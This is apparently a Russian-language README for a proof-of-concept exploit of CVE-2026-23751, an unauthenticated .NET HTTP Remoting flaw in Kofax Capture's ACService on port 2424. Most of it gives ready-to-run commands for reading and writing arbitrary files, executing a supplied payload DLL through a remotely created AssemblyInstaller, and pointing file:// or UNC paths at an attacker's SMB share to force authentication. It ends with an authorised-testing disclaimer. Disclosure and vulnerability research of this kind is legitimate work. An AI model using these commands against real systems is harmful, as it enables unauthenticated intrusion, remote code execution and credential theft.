
Исправленный RemotingClient для эксплуатации CVE-2026-23751 (Tungsten Automation — Kofax Capture: неаутентифицированное чтение/запись файлов, удалённое выполнение кода и принудительное подключение по SMB через .NET HTTP Remoting)
Реализация proof-of-concept для техники .NET HTTP Remoting, описанной в проекте NewRemotingTricks от Code White, нацеленная на Tungsten Automation Kofax Capture.
Название: Tungsten Automation Kofax Capture: неаутентифицированное чтение/запись файлов и выполнение команд через .NET HTTP Remoting
CVE: CVE-2026-23751
Авторы данного PoC (не CVE): Filip Sanders, Siebren Kraak
CVE-2026-23751 затрагивает Tungsten Automation Kofax Capture и позволяет неаутентифицированному удалённому злоумышленнику взаимодействовать с конечной точкой .NET HTTP Remoting, предоставляемой службой ACService в Kofax Capture.
Уязвимость может быть использована для выполнения операций в контексте безопасности службы Kofax Capture, включая:
PoC повторно реализует соответствующую технику .NET Remoting из проекта NewRemotingTricks от Code White.
PoC нацелен на конечную точку HTTP Remoting ACService в Kofax Capture:
http://<target>:2424/ACService
Порт 2424 — это порт HTTP Remoting по умолчанию, используемый уязвимой службой.
PoC поддерживает три операции:
read
write
exec
Общий синтаксис:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
Следующий пример читает файл hosts Windows с целевой системы:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Файл конфигурации Kofax Capture можно аналогичным образом прочитать:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Удалённые ресурсы также можно открывать с помощью URI file://:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Содержимое, возвращаемое удалённым WebClient, записывается в стандартный вывод.
Файл может быть записан в место, доступное службе Kofax Capture, путём указания целевого пути, за которым следует содержимое:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
Предоставленное содержимое кодируется в UTF-8 и загружается с помощью удалённо созданного экземпляра WebClient.
Та же функциональность может использоваться с UNC-путём для записи в удалённый SMB-ресурс:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
Возможность доступа к удалённому ресурсу зависит от разрешений и контекста безопасности службы Kofax Capture.
Операцию read можно использовать с удалённым ресурсом file://, чтобы заставить цель обратиться к контролируемому злоумышленником ресурсу SMB:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Это может привести к тому, что затронутый хост выполнит аутентификацию на SMB-сервере, контролируемом злоумышленником, в зависимости от целевой среды и её конфигурации безопасности.
Операция exec может использоваться для выполнения предоставленной сборки .NET в контексте удалённой службы Kofax Capture.
Сборка сначала загружается на целевой хост, а затем загружается с помощью удалённо созданного экземпляра AssemblyInstaller:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
Указанный путь используется как место назначения для загруженной сборки и впоследствии передаётся удалённому AssemblyInstaller. Сборка загружается на стороне сервера и устанавливается через механизм установки .NET Framework.
После выполнения PoC считывает вывод выполнения из:
C:\Windows\Temp\pwn_out.txt
Точное поведение полезной нагрузки зависит от содержимого Payload.dll.
Уязвимость связана с использованием .NET HTTP Remoting в ACService от Kofax Capture.
.NET Remoting предоставляет механизмы для взаимодействия с удалёнными экземплярами MarshalByRefObject. Взаимодействуя с открытым конечным пунктом remoting и манипулируя логическим контекстом вызова, PoC может получать удалённые экземпляры классов .NET Framework, наследующих от MarshalByRefObject.
PoC использует это поведение для получения удалённых экземпляров:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
Удалённо созданный экземпляр WebClient затем может использоваться для выполнения операций с файловой системой и сетевых операций в контексте службы Kofax Capture.
Для выполнения команд PoC загружает Payload.dll с помощью удалённого WebClient, получает удалённый AssemblyInstaller, задаёт его путь к сборке и вызывает механизм установки. Это приводит к загрузке и выполнению предоставленной сборки на целевой системе.
Таким образом, PoC демонстрирует следующие примитивы:
MarshalByRefObjectФункциональность write в настоящее время работает со строковыми данными в кодировке UTF-8. Дополнительные типы файлов и форматы полезной нагрузки можно поддержать путём изменения исходного кода.
ACService Kofax Capture на целевой системеRemotingClient_MBRO_Lazy.exePayload.dll при использовании операции execДля эксплуатации аутентификация в службе Kofax Capture не требуется.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
Этот репозиторий предоставляется исключительно в целях исследования безопасности, проверки уязвимостей и авторизованного тестирования на проникновение.
Не используйте этот PoC против систем без явного разрешения. Авторы не несут ответственности за ущерб, потерю данных, несанкционированный доступ или иные последствия, возникшие в результате неправомерного использования данного программного обеспечения.